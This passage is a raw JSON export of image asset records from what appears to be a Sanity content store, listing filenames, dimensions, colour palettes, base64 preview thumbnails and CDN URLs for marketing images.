","foreground":"#fff","population":0.77,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#09186d","foreground":"#fff","population":0.04,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#ec5220","foreground":"#fff","population":3.76,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#9a9acc","foreground":"#000","population":0.01,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fcac64","foreground":"#000","population":0,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#9c775f","foreground":"#fff","population":0.01,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#ec5220","foreground":"#fff","population":3.76,"title":"#fff"}}},"mimeType":"image/png","opt":{"media":{"tags":null}},"originalFilename":"ebook-how-a-cloud-data-platform-drives-transformation-in-business-cover.png","path":"images/sczeoy4w/production/161baf9c113ae57b86d58be1e6aa04d2e2bba56b-2000x1620.png","sha1hash":"161baf9c113ae57b86d58be1e6aa04d2e2bba56b","size":799919,"title":null,"uploadId":"trg8rbbUKZT6ntGGb35aax4ETpIwWL4Z","url":"https://cdn.sanity.io/images/sczeoy4w/production/161baf9c113ae57b86d58be1e6aa04d2e2bba56b-2000x1620.png"} {"_createdAt":"2022-09-30T15:37:17Z","_id":"image-98cdf2d1cce0fcb86981d53f1f4478fdb2031ff6-1567x844-png","_rev":"XMqVxILwpPMz4xYxc7uIYN","_type":"sanity.imageAsset","_updatedAt":"2022-09-30T15:53:47Z","assetId":"98cdf2d1cce0fcb86981d53f1f4478fdb2031ff6","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"MVQb|LlV%1MwpIKSR%aJbvs.-:MwM{o#a{","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.8566350710900474,"height":844,"width":1567},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAALCAYAAAB/Ca1DAAAACXBIWXMAABcRAAAXEQHKJvM/AAADLklEQVQokR3G22/bZBiAcf9JXHDLFTfcoUmTQHAzTWgSCCSYxMWYYIijXA7d2FRSRFpoR9skTddsdAopzbFL4zSHpm2a2kns2vFnx/4+x0mcNEnbvC9iF49+D6e26O16Q18U61pYrGshsa6tV2vyek08W1dbdtCi3jJlgwWbegv/v80GQZsN123nPNQRC2Ev+n2kl1uLMEKWKPM+5w6PJH96Ny8lktlOKi3QZDrHEqk9JuxXWFMxqEUHlu0M2y3itBsysdSWTQmhrK23mVvZZsOnnzEv/rDTPYrLnZYc5koHtWAynXN2Ei8wkdrDeDKLmRf7eHzSRJ04SNsUma6hLIqYz5deVs7t4XEmitrWA+z7r+No6R0cxmZ6vUbxX64pG2unkmqfSiqKkjY9lVRoyASI6YJld8E8LQNJr0AtHoSd6BZsbDyB8OoybC7NwbbvDpx889q0+8OrOPr7bsc7O4xxFvUCFvWoTT20mQcvpX1o232sqy4I2QJkAj7IhHwQfboBocAarP7px9UlPzyev48b392E49nr2E3MuQMixTjqDALU8ShzPGSsDw7rocNcJMTGZMnEXyN19Ad3Mbkdw0ImisLzZcws3sOd3+5ixPc1rvx8B+ILX6Ge33LPiRjjGOsGHOZSh3awQ9nUtSm4tgWWrkO2IMJ8uAhLmzk4FP4BU3gAVvQjaC9eAzL3JtTnb0Bu/mMQQg9Rr6TcManGONe2A65l2a7Vxq5lTnsWgb6lQ9/UwFQkqB2U4aSYA1n4CxqRt6HqfwXO/K/DYPktGK/dBLbywZQ8n8XuSapzRSoxrq82gh1FYvRMQldv4sBUcNiW8dxs4sis48gQcaAdIalsoRC8jc9+egOF329gL/IpwrNPcBK8hV7yEY4bu13Qi9vcQCw/cqqFklErqUypykNDUsampIyNU2Vi1JQL40SZkGPFk/cVJRtWik9mlUbMp4xyi2cQu6ddht/XJsIf2pUqVFAvLHPnytG7/WblC1c+nPG0Kj82avzEqPEXRpW/IEf8JTnkr8gBP9XL/JWa5y/qaf5SyfLQiM9A/Nv7sPnhL9NK4EfQi19Ca/+9/wDuadbLi61+cwAAAABJRU5ErkJggg==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#2f3848","foreground":"#fff","population":0.16,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#472f20","foreground":"#fff","population":0.32,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#f3800c","foreground":"#fff","population":8.04,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#c8bfb3","foreground":"#000","population":3.56,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f0bb84","foreground":"#000","population":0.86,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#7c6c84","foreground":"#fff","population":0,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f3800c","foreground":"#fff","population":8.04,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"98cdf2d1cce0fcb86981d53f1f4478fdb2031ff6-1567x844.png","path":"images/sczeoy4w/production/98cdf2d1cce0fcb86981d53f1f4478fdb2031ff6-1567x844.png","sha1hash":"98cdf2d1cce0fcb86981d53f1f4478fdb2031ff6","size":358976,"uploadId":"q65s9WmAlvNMPi5nwfOobY6NmZJ7T4OK","url":"https://cdn.sanity.io/images/sczeoy4w/production/98cdf2d1cce0fcb86981d53f1f4478fdb2031ff6-1567x844.png"} {"_createdAt":"2023-01-13T14:53:25Z","_id":"image-2c63c26fe09fd39ca42a0f97ee94bfb9a8a476af-816x686-png","_rev":"E0WcOAmhawew35VucH9s5G","_type":"sanity.imageAsset","_updatedAt":"2023-01-13T14:53:25Z","assetId":"2c63c26fe09fd39ca42a0f97ee94bfb9a8a476af","extension":"png","metadata":{"_type":"sanity.imageMetadata","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.1895043731778425,"height":686,"width":816},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAARCAYAAADdRIy+AAAACXBIWXMAAAsTAAALEwEAmpwYAAAFIklEQVQ4jS2PezTUCRzFv9pSKb1ozM8jPbGJXsZzPELDoDxmxihFFOW5jmoXrZM6pYf0YjQSayJrDUWa32/Qrl0b29ke20kdtY+jJVunUu0RiZnvd4/ae84997/PvRc8hUL4S2UFdMsM3l62mKRjzZfpWfOAcQ2z/FUtYwhgCo0HbGF6BAcQ2A5bd+cBtc+EUW4J6DqcQPfDSkDWHLDNGkjLAwhwtoWbOXPhRKUL0B2TydTG2FMrI6U2xpu6zGf72psAwGUA92cAPAK6DzDSbG1AHGOMHMNDjplOGlMglgfImQOInW0h8XNjoG6Ao/tWGD6qtLLpu2QR1H3e0u9s8oLFwhULjT0Eaz4DyR0D522KSc8abIFaeEbIMb7IMTHIMctQawnYsgCQYwA8XZ2YdWvtlmwULHLc6m4lzA5iJMoYsy+q4ngHFOG8fXl+ZhukXm482NBuYriB41vK66YRx9ghxxQix6iRYwKRM588se4jMN7fPitPbHG2JNSktjpiDndVPqvz57jZ3fd3ze67u23u39ckphUpIk9Pg2DO1SDkun9E+pGVw83W8cTx7yDL9CDH7MJP9z8BD4bZtrRumTfwOMFodGCn0dirXTP0QynG9CFjDg0lmdDDTfzb+WK3xOniOvHMcFZ2/PD2uHdXrWuJ4/+LLPMKOeYYcowVsXyYMJyMdFDeizftH0maSZQ8i2jnPKLE+UjJfL0+0ZIG5IsG6sSO+Sv9cl1D0wvW/1rpcfLDNcs/ieMjssz7j7dZZi1WLTMg5TKAAzKP6I7NC7vebOPrKI5B3GqFuGUR4rYliLE29EZiP9Ilcqg9JBJ6XVEEyPrVy38a11iM/g/UI8fcRI4Jwza+IZbbAGTIxI4N4Q4X+2RLh/TypUQyO0TJCsRIR6SoVTQaKsBHvoLbGvmqL+9+s+b003qHf95fsybi+Hpi+RPZSxpmN1Utnq+HCoCE6Mh5ZSEuWfdDVvaNblxFtMEJKcgFKcgdMcQD3wd40R++Pi9+TPC6ca8q4MGjxvDRp80iGtI44hi7kPQai7dYs6gGM91EuEo+GyTJKZOPBa0La1/v9svr9e46nZ8nDvl443PvddgrEmNPhJw6YuLHm3KThzlVzqi27hh2NB2nh+xu7NfKabDJf3ykwKdXLxUXkZN0NQARZIUEOV5c51N1Q+g93OnuTWpnIZZ6+aMqdgc2HylAtryCLlerqFpVTqXKEryoqsCrDVV4vVGJ98rzcDApblznI+lCgTQaZFONIDE0bH6OSJx5OCC4Jzsg+EO8v0iXIIuk/dk5dKGsjJquNiOnbUF1fQOeO3cOCwsLsajoDKnOFGLXnq/xbVA8obPsCQqkhTChaJlsSmpc/Nq9qWm5GWlpDSkpKZ1fZWX9npeXO3g0/+BYeVkpNtSrqfFKPV2qriKFQkHKM8f17P49+EQWi2NukTpykvajQFoLRAR7M9LhZIliWknZectiRbFTUVFxcOX5U+lNFXsbW1Spr9tqcqj1u0O6VnXBSLP6wouamuqey6Ultx5mZj4YFkV1o0DyPQqkShRIU2Gelwe4nsgHJmk7gEvgRIHBb7dvTXmpDXR8pxUUD7W49g5q1/f2X9t443HTpm87Gw8evlJfs739dIns+ea07TphVCwJpH7oLLVDZykP/P38IGHHDoiNiQFltgCI6uClEiYRy/Mijq8mjukgrcUJarGWj3E2q59qNpq115+a/iQqc+qYS9SMcUHU1DF3+ST9aimQkwT+A4qTs5vQUa0aAAAAAElFTkSuQmCC","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#3c454a","foreground":"#fff","population":0.27,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#6b430d","foreground":"#fff","population":0.34,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#f7760a","foreground":"#fff","population":2.14,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#e1c9d2","foreground":"#000","population":0.19,"title":"#000"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fc6c94","foreground":"#000","population":0,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#848c4c","foreground":"#fff","population":0,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f7760a","foreground":"#fff","population":2.14,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"hand-typing-on-laptop.png","path":"images/sczeoy4w/production/2c63c26fe09fd39ca42a0f97ee94bfb9a8a476af-816x686.png","sha1hash":"2c63c26fe09fd39ca42a0f97ee94bfb9a8a476af","size":44322,"uploadId":"6ndMRawBdCfLo43Jzb7KrfBLHFOsFXXD","url":"https://cdn.sanity.io/images/sczeoy4w/production/2c63c26fe09fd39ca42a0f97ee94bfb9a8a476af-816x686.png"} {"_createdAt":"2023-01-13T14:53:25Z","_id":"image-91a4712bf630f76221c6ebbfe3445be0916e6d72-720x686-png","_rev":"Z39vf97kTT8utJKfKdLwoz","_type":"sanity.imageAsset","_updatedAt":"2023-01-13T14:53:25Z","assetId":"91a4712bf630f76221c6ebbfe3445be0916e6d72","extension":"png","metadata":{"_type":"sanity.imageMetadata","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.0495626822157433,"height":686,"width":720},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAATCAYAAACQjC21AAAACXBIWXMAAAsTAAALEwEAmpwYAAAFdElEQVQ4jT3Ra0yTZxQH8IerOOROab2ELOqWaTTOuH1YplM3hyyjaN9Sl8lm5ubmZhwat6GjK0UuE1AExIHIFIrcilzavkChb7lZ1EEpb8vbGxed4hxh07gxYU7bcxYK8Un+eb79cv7nEGgREE/Uywi0CQhol3qCSIjk6I+ExFz38YrTh/sImeW+Qt1SX6FuiY+Q8fKPZ4ivcD4+QoY8f0AvgHM/LfACWuANLQKfp5rlPtjK8zaWv+Eb+9XZQL6kKdI/viPKR8iE+sXr/Mh7eg/mFz+fgF0L6PyE/DnMF2hBONCCFUDzoz3RCKKxhRf94OqqFy/mfvji+n0Vy7ziOnmLd7UHBuxmvEmMnsxNGijSkb2p9AKo5BGgl86BoUDzN4KGvwPU/BhQR8WAaj7PmgQxd6+s3ZyZ+uXqYErL99vdFR6SwCxad6CNkC33CXlngCR9K5sHscdTdRHQ/NWg5sdCc5QEGnnzaYiU4NXIBKwPT3BVR8Sx5zZsivssawWJ1UWS2NYgsl3v/cqeMhIiosnx5GOe6gt740eBhv8mNEdRcDVSAnURCVAbnoDVYeInigjJbxdf2uco23rwxsW9Hxfkn9txILvr9cSMzrUSKR0qOVLihYhkfzpNSIzOAwaChr8OVFHvQwMvwYNVhYlBESbG8iBqPD96X2XO59nFFxXNpTW61kLlUM0p5ViZ9BKb8Wla07ZNlHzxms17yJGUHBIi1s6B/JWgjtoOjTyxB7sSJobyEDFcCqXwwmLRtfR1hzKzC+m0KueDbM2j2dMt09O59PS0rHLMmihtOLZqp4yPxYQIYzYTIuwmBNT816CRF/ccuxxCQVkwBaUhFBT5i3SyjYflueV6ef3UvzkdiGd0iLntLpRV3/kjKZcuLqzQ7hyyT6zmrPZAdNsIgSbeaqiLeBcqw8RwKYSC0iAKioMo+ClE7D7rT+lSXk2S51zuTKufmi3qQiwzoDufcYOs6tbjzGL1cEtHj8buHJffuv3rGqZFSQjURQRCRegGKAsWQskSCoteEGF+gAjPBlCYTUS64+u/lmWXM6nKqdmibsSKGwgFejemKEbc6YW1zzR06yzHWXVj4+Nb5o5DoCLUCy4E8aEo8C0oWEI9LV750Yzi7YOPq4WHpst3HGrPEmWk5ihuptROPcnSIubqEDJb3ZBSOQ6ny1Sobe8Ak8k0wHGcZHR0NJSgzIu4isIWYa7Py67cYOHD6g+SJ3p/rr7br9aOGZRtzeWFfdIzyt+TqyZdP6gRZRoEqcqN0qo7UKrsgRs3f3Fbrdb7drvjwtjYWAxBOSG3NMkET4eHzxau3TpBZ2Q6BnutNs4yww72z9TU1s8m5zW5TlRPQnorYkYbwknaham1d+FSgwH6jYPgcNhdTqfTPDo6+g1BQoj2HnrdNmpXTFyvSxw3dihsw+w9jrOiyTSI1cpmTM5rRrlyEgs6EQo7EfN0Lsysn8CSmi5obWuHPoMBLRbLyMjIiJTcZB3EaGL97DbbthGHvcZh4+6YzeyMxWIBbtgCTeo2OJGvAWnNJMzt74wOIVvrgpN1E3C+Sg+NTSo3w+jAZBpyOJ1OKTEPmYjZzPrbbDaR0+k0sqwZGIaB7u4esFjMqGrpwO/yNHi0YhJTVIhSFeKJJjcer5zA4toe7O41eJpYLJYxq9UqJxxnJTabbRHLspTZbB40Go2g1+s9IDs0NDfhf0dP1U1/UWT7J0nxcCZJ8WDmcPmfM0kl3OOCiva/e6/1PWJZ9q+BgYGh/v7+7wnHccRut/v39fVRBoNhsL9/ADx1OSuazaxbpWmZTJKdH9iTXGNMTGsbTkzTcnvlbdb9qfVDWQWVPWoN3dHV1cUwDKNgGOaT/wFjjmcxwXCNTAAAAABJRU5ErkJggg==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#35465a","foreground":"#fff","population":0.33,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#6b3f08","foreground":"#fff","population":0.61,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#7bb1fb","foreground":"#000","population":11.99,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#cec5af","foreground":"#000","population":0.03,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#7bb1fb","foreground":"#000","population":11.99,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#91644c","foreground":"#fff","population":0.01,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f59e16","foreground":"#000","population":4.72,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"phone-with-shopping-cart-screen-for-eccommerce.png","path":"images/sczeoy4w/production/91a4712bf630f76221c6ebbfe3445be0916e6d72-720x686.png","sha1hash":"91a4712bf630f76221c6ebbfe3445be0916e6d72","size":60265,"uploadId":"SyFXI0b82p8NmFv54s7PtfmszyNmn7zo","url":"https://cdn.sanity.io/images/sczeoy4w/production/91a4712bf630f76221c6ebbfe3445be0916e6d72-720x686.png"} {"_createdAt":"2022-06-30T19:58:18Z","_id":"image-4c75733bd8f952055db762c76854b8a72aa5db1d-842x528-png","_rev":"lf1jOsEAA7PAFZMZhZoaka","_type":"sanity.imageAsset","_updatedAt":"2022-09-26T16:05:56Z","assetId":"4c75733bd8f952055db762c76854b8a72aa5db1d","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"VZQJvM-m?DN2^#-nobRlNIR+~QM}IrxZE5IuM}xr%Js.","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.5946969696969697,"height":528,"width":842},"hasAlpha":true,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAMCAYAAABiDJ37AAAACXBIWXMAAAsTAAALEwEAmpwYAAACF0lEQVQokYWS3UuUQRTG9y9Lggghgu4iIrrprvsyiAJXVAwMigy6iSAsxNZCKfAmCUkqkYjWcmUh2223tH33Y77PzLxPzIy7rCD0wsNhzpn5vc85MwUhBLrdLtrtNlqtFjqdzmCdZVmMYU1EyPMcx395rAUV+kDGGDjnA/V6vaiQl1LCWgvnciiTgyufpD0U5XB+CKiUigeMMfFQX0RBFGOCefztObyvEF5tGpQ+mhg/7BIy5uC9T8AA6sNSMgmH6q9DbadhMbOscGlO4MJ9jssPBe6+Vqj+Tmd9H6i1HgDJekjjIXSS1B7Gejjv8bVmMfZM4tQkx0iR4fQUx61Fhe+NvpkhoHM2wvYOHNa2LVa2CMtbhNUvhErTQRmPcs3ixnMZQScnGEanOW4vquj8WGBw9rZMuDYvY1sXHwhcfSyx9MmgKzy26xZj/wMSEbQ28M7FFoOzABspcpwYZzg3y/HknUHGE/D6oGU+aHmnES7l8JbD7Iyh6FAohzefDa48EhidDjNiOH+P4+m6RsYdvtUtbi5InJlJtbN3GIolOXAYoIVATU+FIBRhs6oxt8oxUWIYf8Ewu8KxVlbocsLevsH8usDkUqpNvWRY2JCoHaRX4pxLwECPTonQYYSf+xq7vwQqdYEffzRaPYI2BK4IjZZBtalirdqQaGYmGjkCHBbCD5yDFAJC8Lgp5Ib3WKJYJ2OO5MMM/wHHZHA0M4yMqQAAAABJRU5ErkJggg==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#616972","foreground":"#fff","population":0.02,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#07327d","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#4484f4","foreground":"#fff","population":13.59,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#bcb0a4","foreground":"#000","population":0.01,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#6cacfc","foreground":"#000","population":0.12,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#4b6499","foreground":"#fff","population":0.29,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#4484f4","foreground":"#fff","population":13.59,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"4c75733bd8f952055db762c76854b8a72aa5db1d-842x528.png","path":"images/sczeoy4w/production/4c75733bd8f952055db762c76854b8a72aa5db1d-842x528.png","sha1hash":"4c75733bd8f952055db762c76854b8a72aa5db1d","size":14405,"uploadId":"NLywNLtpHQ7poPz8cHRk42l32gDZu34A","url":"https://cdn.sanity.io/images/sczeoy4w/production/4c75733bd8f952055db762c76854b8a72aa5db1d-842x528.png"} {"_createdAt":"2022-06-15T20:01:47Z","_id":"image-6ddf5ab7ac7e21c75d22768bae8a1ac5e8ae4b23-2500x1308-png","_rev":"z4aw9LO53fWpwEzdXNEM74","_type":"sanity.imageAsset","_updatedAt":"2022-09-26T16:05:49Z","assetId":"6ddf5ab7ac7e21c75d22768bae8a1ac5e8ae4b23","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"M7TMo?*cdr+de=[1j^f}jFf#Y+e-h0gMfk","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.9113149847094801,"height":1308,"width":2500},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAKCAYAAAC0VX7mAAAACXBIWXMAABcRAAAXEQHKJvM/AAACAElEQVQokU3R30+TBxQG4Fbi1JA5dTozZ3QzzEV0YUb6AxAUAbFUWGk/YZXhOggwGVFEbE1M5pboXJYtXBn/2/O4r+2IFyfn7s1z3pMxWAu5JOST7q6G4blwoxQmJsL0aJgdCvPXQnIl1L8JyxfCz2fD2mdh83h41Bt2DoZn2cjsBxbudUKLlTB6N9y6E6ZuhtJIqBRD7WpY6A9LX4fGV2H1TNg4GbY+CdtHwm5PaGbageQS8gmFKkOzjJWYmGR6jHKByjWSb1m8yI9f0viCtVM8PMajXnY+4lmWZkamrWtPLRQq4Xo53JkN9xfDciXcGwv1odDIh5WBsH4pbPaFrTNd3eGuLhtaqTDV5T7Q3ZyhscK/f/HPS57UaS7yss4fCX9WeTPDb1d5eoKdgzQP0Eon2xaSr1GsMDLDZIlf1ni3x9vXvGjw+wPePODvJfbq7FV4NUjzOLs9NLM83w+skZ9nOO1umslJkjLrCQ/nWB1jY4hfB3k8wO5lWn00T7N7eL87rc5k5Kod3WiZ8dtM3aA0zFyO6gALl1jq46dzrJ5m4wRbH7N9qKNrZffDOk8pzDMyx/gMU+lnR7lbZD797BV+uMjyBVbOsn6KzWM87uVpt7v01Pa5/wcWv+d6mVvT3B7/QPcdC/3cT3XnWf2cjU/ZOsr2kW53qSwVdpX/Bb4H3Nr8HKgSrwoAAAAASUVORK5CYII=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#974501","foreground":"#fff","population":0,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#833c01","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#fc7404","foreground":"#fff","population":20.14,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#bcd8c0","foreground":"#000","population":0.01,"title":"#000"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fc84a1","foreground":"#000","population":0.01,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#ac644a","foreground":"#fff","population":0.03,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fc7404","foreground":"#fff","population":20.14,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"6ddf5ab7ac7e21c75d22768bae8a1ac5e8ae4b23-2500x1308.png","path":"images/sczeoy4w/production/6ddf5ab7ac7e21c75d22768bae8a1ac5e8ae4b23-2500x1308.png","sha1hash":"6ddf5ab7ac7e21c75d22768bae8a1ac5e8ae4b23","size":148096,"uploadId":"nDUb6EN4AoagTyFSKAbOFhUm9yMzWCGv","url":"https://cdn.sanity.io/images/sczeoy4w/production/6ddf5ab7ac7e21c75d22768bae8a1ac5e8ae4b23-2500x1308.png"} {"_createdAt":"2023-01-10T12:58:34Z","_id":"image-6d81b2ceae02a2c949fc8e19ea212cdfa65ed3b1-1600x712-png","_rev":"Y8XrsvoJ4zglb1hB5HQNFz","_type":"sanity.imageAsset","_updatedAt":"2023-01-10T12:58:34Z","assetId":"6d81b2ceae02a2c949fc8e19ea212cdfa65ed3b1","extension":"png","metadata":{"_type":"sanity.imageMetadata","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":2.247191011235955,"height":712,"width":1600},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAJCAYAAAAywQxIAAAACXBIWXMAAAsTAAALEwEAmpwYAAAC1UlEQVQokSXOjS+UARzA8R+9DzWlckhRDOlFb4rGus16QWlTa6y13tdWS2ctvcyxG7VK6W1FS01JVnm97g6HcojOuYdDLsvSi3d3zyPjnsfd79es7x/w2RfQ3GKP3RWO+LV6O3bWJmNXnQx7G2LR1BKCHLMJWcaPOMaVOL0DccxM5FoBWQaQCND4CbD+CWDXW8DhBkDhJwCONrtgf9MGNKhkVJNnwI/v2vCrJg1N+l1o1oUiqw+eMjFBU6bW1Ta21ZM4xhlZxtHGMg62Ee1c7KuZjQO1s3C4wR6b7wGgSeeJA9owbFfdR3XuD1QXGKldI0NTWzixzBaruS3s76Ahku03RPPD+lAyadeSWRdAo02B1P58LVYnrccvGauwr9pp+hrQ3DKf+hs9rJ3qSKFJLhMaS1Jsuif7UX8uhDqSxFM9z6JNvfUHh353xE6wRjFNdodYJ75vEwY1Yttn6VH8cOQCVSXuROO7RVhxzQ7MfTo7Gqm2/6MpctIrS7x65JKNvMI/DlUeUqr0vSHURkiGdHf3DnSURwjtr/ZQa1bUpD4nmmNyDvJaaaqt7vxDrEs8hqoTayhjmTMQjUNZcRX8z3VmyyMPb75MJEGFaxEpRaWWD16phvx94d9yTomFp+IEehycLmTvSB8rPH1x7MstiUWXLrXWX0hBRexxyg4MAL1WDURF8OZFJqzYm2Xf9TJgCS93340KUQIpXSXjxe4xpWmbfBskQessacuPUIavlH+4VcYVHJWY1clnxlVnLwmVx65g5aF4eh26AoKO3wGqAODlmwF8ZGDM9ZkxWebuhAqRCylFi9lCzwXZievnKOJF8yw3/ZZifqw/p7waPKTJjJz4dPHylCLuurUkJgrV8W6kjJkN62Al9D5YCgAE4N4Dvwq8gZe7ASpEQEoRsO/d4PbhhVAuBhiLALAQ2XVxtnmDHXl+fHPSaaw/mUAVB/y6p4XDAP8AgTOwffAHdU0AAAAASUVORK5CYII=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#222745","foreground":"#fff","population":0.07,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#581206","foreground":"#fff","population":0.42,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#f26f0f","foreground":"#fff","population":2.17,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#9cb4c4","foreground":"#000","population":0,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f8d773","foreground":"#000","population":1.15,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#b66862","foreground":"#fff","population":0.04,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f26f0f","foreground":"#fff","population":2.17,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"microservices-event-streaming-with-binary-numbers.png","path":"images/sczeoy4w/production/6d81b2ceae02a2c949fc8e19ea212cdfa65ed3b1-1600x712.png","sha1hash":"6d81b2ceae02a2c949fc8e19ea212cdfa65ed3b1","size":528276,"uploadId":"obyq7EKY9hofjq0KmPmBwcP4pc6qpBnm","url":"https://cdn.sanity.io/images/sczeoy4w/production/6d81b2ceae02a2c949fc8e19ea212cdfa65ed3b1-1600x712.png"} {"_createdAt":"2023-02-08T11:07:44Z","_id":"image-8140add1f801ee6a87467eb16cb32023a22b826f-3401x1962-png","_rev":"q6IvLca7BfVqZtRwbuyaVz","_type":"sanity.imageAsset","_updatedAt":"2023-02-08T11:07:44Z","assetId":"8140add1f801ee6a87467eb16cb32023a22b826f","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"MJRC=6NM~o-oIV_3e:ROW.NJ%cox%M%1ax","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.7334352701325177,"height":1962,"width":3401},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAALCAIAAADwazoUAAAACXBIWXMAAA7DAAAOwwHHb6hkAAACFklEQVQokW2STU/bQBCG/Z974tIbXKv+ACCoqJVQaVFTQSOgKkqg0AAlDcFJbMckjmN7/ZH11653x7uu7KpSD330SnN69Wg0o1T/IKuqLKXh5u+vVwe95UXfHTxFbsCglNX/UJqSrFNPAcAsPz8fBqf3Xn/oqxpGIeWcVVL8NcjG0pQ5E5wAL0AIWZaM5jjCqYXo3MlsJ3F9ssZ5nmEAVgoJHDhjANC4KiVYEe8XCvWIZJxSGoaxFxAUcG+ZOvPIdYnjEz+I87ygFJIwSFZatkac15so5hMeHU1mF3OMsiwlK4/qFjeM3Oga086jNvC1OZs7BcY0jXPX1O2Hc/Q8JrSQlVQmk/jm/Hn4wwn9LE3o0mXqM6gjPP48GL27HF1aI53NbIjWBY4ybWzdX//UJvM0Z7XZWOQPo3CsJ2vMMlJ6IZg2n+rppG+pPV0dBvqC2gjiFOKEaWZyN0SamWSklLJSgjV3fepHLCMQp8XSjnTdVafeWPM1PZxowVT3TNNzPZykLMLc9YsoBsZFXQaQvI4glE81++jT1fbOyXbrrH18e/V93G7f7LU6rZ3jL52+40QAgoMohayrVaX8ubGUklB2O5y92u282DzY2Pywu//t7OR67/Xh1sb21sudt/uniwUSQgohAKBoaJ6kAaA0/aj9aLQuZ4dda6C6tmo8fvzae3N6d9KdPelpSqSUZVkmSYIQ8jzvNwsAVNVKmlEiAAAAAElFTkSuQmCC","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#854483","foreground":"#fff","population":0.18,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#1419